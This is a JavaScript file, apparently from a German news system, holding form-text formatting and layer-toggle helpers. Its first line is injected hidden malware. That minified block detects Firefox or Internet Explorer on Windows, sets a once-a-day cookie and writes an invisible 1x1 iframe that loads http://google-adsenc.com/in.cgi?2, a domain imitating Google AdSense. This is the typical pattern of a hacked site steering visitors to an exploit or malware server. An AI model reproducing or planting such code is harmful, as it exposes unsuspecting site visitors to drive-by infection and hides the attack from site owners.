var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
function insert(aTag, eTag, feld) {
	var input = document.forms['form1'].elements[feld];
	input.focus();
	/* für Internet Explorer */
	if(typeof document.selection != 'undefined') {
		/* Einfügen des Formatierungscodes */
		var range = document.selection.createRange();
		var insText = range.text;
		range.text = aTag + insText + eTag;
		/* Anpassen der Cursorposition */
		range = document.selection.createRange();
		if (insText.length == 0) {
			range.move('character', -eTag.length);
		} else {
			range.moveStart('character', aTag.length);
			range.moveEnd('character', -eTag.length);
		}
		range.select();
	}
	/* für neuere auf Gecko basierende Browser */
	else if(typeof input.selectionStart != 'undefined')
		{
			/* Einfügen des Formatierungscodes */
			var start = input.selectionStart;
			var end = input.selectionEnd;
			var insText = input.value.substring(start, end);
			input.value = input.value.substr(0, start) + aTag + insText + eTag + input.value.substr(end);
			/* Anpassen der Cursorposition */
			var startPos, endPos;
			if (insText.length == 0) {
				startPos = endPos = start + aTag.length;
			} else {
				startPos = start + aTag.length;
				endPos = startPos + insText.length;
			}
			input.selectionStart = startPos;
			input.selectionEnd = endPos;
		}
		/* für die übrigen Browser */
		else
			{
				/* Abfrage der Einfügeposition */
				var pos;
				var re = new RegExp('^[0-9]{0,3}$');
				while(!re.test(pos)) {
					pos = prompt("Einfügen an Position (0.." + input.value.length + "):", "0");
				}
				if(pos > input.value.length) {
					pos = input.value.length;
				}
				/* Einfügen des Formatierungscodes */
				var insText = prompt("Bitte geben Sie den zu formatierenden Text ein:");
				input.value = input.value.substr(0, pos) + aTag + insText + eTag + input.value.substr(pos);
			}
		}

		function switchlayer(Layer_Name, Icon)
		{
			var GECKO = document.getElementById? 1:0 ;
			var NS = document.layers? 1:0 ;
			var IE = document.all? 1:0 ;

			if (GECKO)
			{
				document.getElementById(Layer_Name).style.display=
			(document.getElementById(Layer_Name).style.display=='block') ? 'none' : 'block';}
			else if (NS)
				{document.layers[Layer_Name].display=(document.layers[Layer_Name].display==
				'block') ? 'none' : 'block';}
				else if (IE)
					{document.all[Layer_Name].style.display=(document.all[Layer_Name].style.display==
					'block') ? 'none' : 'block';}
					if(document.getElementById(Layer_Name).style.display=='block')
					{
						window.document.images[Icon].src = 'news_system/data/graphic/h_auf.png';
					}
					else
						{
							window.document.images[Icon].src = 'news_system/data/graphic/h_zu.png';
						}
					}